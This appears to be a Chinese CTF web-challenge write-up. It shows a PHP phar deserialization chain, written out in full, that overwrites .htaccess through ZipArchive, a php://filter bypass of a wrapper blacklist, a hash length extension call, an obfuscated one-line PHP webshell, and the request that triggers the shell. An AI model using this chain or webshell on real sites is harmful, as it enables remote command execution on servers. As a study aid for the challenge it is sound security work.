0x00 知识点
源码泄露
www.zip获取源码
哈希长度扩展攻击
hashpumpy.hashpump("52107b08c0f3342d2153ae1d68e6262c","adminadmin","a",8)
链接:
https://www.cnblogs.com/pcat/p/5478509.html
php://filter绕过正则实现phar反序列化
链接:
https://xi4or0uji.github.io/2019/09/11/2019-bytectf-wp/
https://xz.aliyun.com/t/6324#toc-2
审计发现一个phar反序列化点
view.php中
$file = new File($file_name, $file_path);
长传文件后发现有个被输出的 .htaccess,导致无法正常解析
跟进后filepath会进入mime_content_type函数。再加上我们可以控制上传文件的内容,达成一条反序列化链。
preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)
bypass:
php://filter/read=convert.base64-encode/resource=phar://./z.phar
两种攻击思路:
1:通过触发上传来移动文件,或者清掉.htaccess
2:通过反序列化文件覆盖,能够使用的有一个内置类 ZipArchive->open,如果达到任意文件内容覆盖需要一个 open 函数,可发现
function __call($name, $arguments) { $this->admin->open($this->username, $this->password); }
刚好有个魔术函数,两个参数也符合。
exp:
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
}
class Profile{
public $username;
public $password;
public $admin;
}
$a = new File("altman","altman");
$a->checker = new Profile();
$a->checker->username = "/var/www/html/sandbox/a87136ce5a8b85871f1d0b6b2add38d2/.htaccess";
$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$a->checker->admin = new ZipArchive();
echo serialize($a);
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
触发反序列化漏洞就用php://filter去绕过
构造好后先上传一个简单马,需要绕过黑名单
<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>
然后将生成的phar上传,利用filter绕过对phar的过滤
/view.php?filename=dd7ec931179c4dcb6a8ffb8b8786d20b.txt&filepath=php://filter/resource=phar://sandbox/a87136ce5a8b85871f1d0b6b2add38d2/dd7ec931179c4dcb6a8ffb8b8786d20b.txt
触发反序列化。删掉htaccess。此时切记不要访问upload.php,否则会重新生成htaccess。直接访问沙盒下第一个上传的php文件,拿到shell。
参考链接:https://xi4or0uji.github.io/2019/09/11/2019-bytectf-wp/